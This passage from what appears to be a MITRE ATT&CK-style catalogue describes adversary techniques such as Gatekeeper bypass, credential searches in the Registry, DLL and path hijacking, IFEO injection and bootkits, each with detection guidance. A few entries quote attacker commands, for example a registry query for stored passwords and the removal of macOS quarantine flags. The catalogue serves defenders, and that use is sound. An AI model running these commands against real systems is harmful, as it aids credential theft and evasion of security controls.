Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.
Platforms: Windows
Data Sources: API monitoring, Authentication logs, Network protocol analysis, Packet capture
Defense Bypassed: Log analysis
Permissions Required: Administrator
Contributors: Vincent Le Toux
Links |
https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html |
Gatekeeper Bypass - T1144
In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple’s Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.
Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)
In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)
Detection: Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further.
Platforms: macOS
Defense Bypassed: Application whitelisting, Anti-virus
Permissions Required: User, Administrator
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ |
Credentials in Registry - T1214
The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) *Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code> *Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>
Detection: Monitor processes for applications that can be used to query the Registry, such as Reg, and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.
Platforms: Windows
Data Sources: Windows Registry, Process command-line parameters, Process Monitoring
Permissions Required: User, Administrator
System Requirements: Ability to query some Registry locations depends on the adversary’s level of access. User permissions are usually limited to access of user-related Registry keys.
Contributors: Sudhanshu Chauhan, @Sudhanshu_C
Links |
Fallback Channels - T1008
Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring
Requires Network: Yes
Links |
Exploitation for Privilege Escalation - T1068
Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.
When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.
Detection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.
Higher privileges are often necessary to perform additional actions such as some methods of Credential Dumping. Look for additional activity that may indicate an adversary has gained higher privileges.
Platforms: Linux, macOS, Windows
Data Sources: Windows Error Reporting, Process monitoring, Application Logs
Effective Permissions: User
Permissions Required: User
System Requirements: In the case of privilege escalation, the adversary likely already has user permissions on the target system.
Links |
Hidden Files and Directories - T1158
To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).
===Windows===
Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.
===Linux/Mac===
Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.
===Mac===
Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.
Detection: Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Defense Bypassed: Host forensic analysis
Permissions Required: User
Binary Padding - T1009
Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.
Detection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool.
When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.
Platforms: Linux, macOS, Windows
Defense Bypassed: Anti-virus, Signature-based detection
Links |
Redundant Access - T1108
Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary’s tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)
Use of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.
Detection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.
Detection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.
If an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.
For alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.
Platforms: Linux, macOS, Windows
Data Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Binary file metadata, Authentication logs
Defense Bypassed: Anti-virus, Network intrusion detection system
Permissions Required: User, Administrator, SYSTEM
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Data Encrypted - T1022
Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.
Other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol
Detection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software.
A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.
Network traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring
Requires Network: No
Links |
http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf[http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf] |
Plist Modification - T1150
Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user’s privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)
Detection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.
Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.
Platforms: macOS
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path
Permissions Required: User, Administrator
Links |
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ |
DLL Search Order Hijacking - T1038
Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.
Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.
Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)
If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.
Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
Detection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.
Platforms: Windows
Data Sources: File monitoring, DLL monitoring, Process command-line parameters, Process monitoring
Effective Permissions: User, Administrator, SYSTEM
Defense Bypassed: Process whitelisting
Permissions Required: User, Administrator, SYSTEM
System Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.
Contributors: Stefan Kanthak, Travis Smith, Tripwire
Image File Execution Options Injection - T1183
Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under <code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/<executable></code> and <code> HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable> </code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.
Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
Detection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Monitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)
Platforms: Windows
Data Sources: Process Monitoring, Windows Registry, Windows event logs
Permissions Required: Administrator, SYSTEM
Data from Network Shared Drive - T1039
Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.
Adversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.
Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process monitoring, Process command-line parameters
System Requirements: Privileges to access network shared drive
Links |
AppInit DLLs - T1103
Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)
Detection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns)
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.
Platforms: Windows
Data Sources: Loaded DLLs, Process monitoring, Windows Registry
Effective Permissions: Administrator, SYSTEM
Permissions Required: Administrator
System Requirements: Secure boot disabled on systems running Windows 8 and later
Links |
Browser Bookmark Discovery - T1217
Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.
Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials in Files associated with logins cached by a browser.
Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.
Detection: Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell.
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
Platforms: Linux, Windows, macOS
Data Sources: API monitoring, File monitoring, Process command-line parameters, Process Monitoring
Permissions Required: User
Contributors: Mike Kemmerer
Links |
Standard Non-Application Layer Protocol - T1095
Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).
ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
Detection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Requires Network: Yes
Links |
Netsh Helper DLL - T1128
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.
Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)
Proof of concept code exists to load Cobalt Strike’s payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)
Detection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)
Platforms: Windows
Data Sources: Process monitoring, DLL monitoring, Windows Registry
Permissions Required: Administrator, SYSTEM
System Requirements: netsh
Contributors: Matthew Demaske, Adaptforward
Links |
Account Manipulation - T1098
Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.
Detection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)
Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.
Platforms: Windows
Data Sources: Authentication logs, API monitoring, Windows event logs, Packet capture
Permissions Required: Administrator
Links |
https://docs.microsoft.com/windows/device-security/auditing/event-4738 |
https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM |
Re-opened Applications - T1164
Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>.
An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).
Detection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.
Platforms: macOS
Permissions Required: User
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
Remote System Discovery - T1018
Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used.
===Windows===
Examples of tools and commands that acquire this information include "ping" or "net view" using Net.
===Mac===
Specific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems.
===Linux===
Utilities such as "ping" and others can be used to gather information about remote systems.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Permissions Required: User, Administrator, SYSTEM
Links |
Permission Groups Discovery - T1069
Adversaries may attempt to find local system or domain-level groups and permissions settings.
===Windows===
Examples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the Net utility.
===Mac===
On Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.
===Linux===
On Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, Windows, macOS
Data Sources: API monitoring, Process command-line parameters, Process monitoring
Permissions Required: User
Links |
Indirect Command Execution - T1202
Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command-Line Interface, Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)
Adversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd.
Detection: Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands and/or spawning child processes. (Citation: RSA Forfiles Aug 2017)
Platforms: Windows
Data Sources: Process Monitoring, Process command-line parameters, Windows event logs
Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path
Permissions Required: User
Contributors: Matthew Demaske, Adaptforward
Links |
File Deletion - T1107
Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)
Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.
Platforms: Linux, Windows, macOS
Data Sources: Binary file metadata, File monitoring, Process command-line parameters
Defense Bypassed: Host forensic analysis
Permissions Required: User
Contributors: Walker Johnson
Links |
Path Interception - T1034
Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)
There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
===Unquoted Paths=== Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program.
===PATH Environment Variable Misconfiguration=== The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.
For example, if <code>C:\example path</code> precedes <code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.
===Search Order Hijacking=== Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program’s directory.
For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)
Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.
Detection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Platforms: Windows
Data Sources: File monitoring, Process monitoring
Effective Permissions: User, Administrator, SYSTEM
Permissions Required: User, Administrator, SYSTEM
Contributors: Stefan Kanthak
Links |
https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464 |
http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120 |
Bootkit - T1067
A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)
Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
===Master Boot Record=== The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)
===Volume Boot Record=== The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
Detection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.
Platforms: Linux, Windows
Data Sources: API monitoring, MBR, VBR
Permissions Required: Administrator, SYSTEM
Indicator Removal on Host - T1070
Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.
Detection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process command-line parameters, Process monitoring
Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems
Links |
Exfiltration Over Other Network Medium - T1011
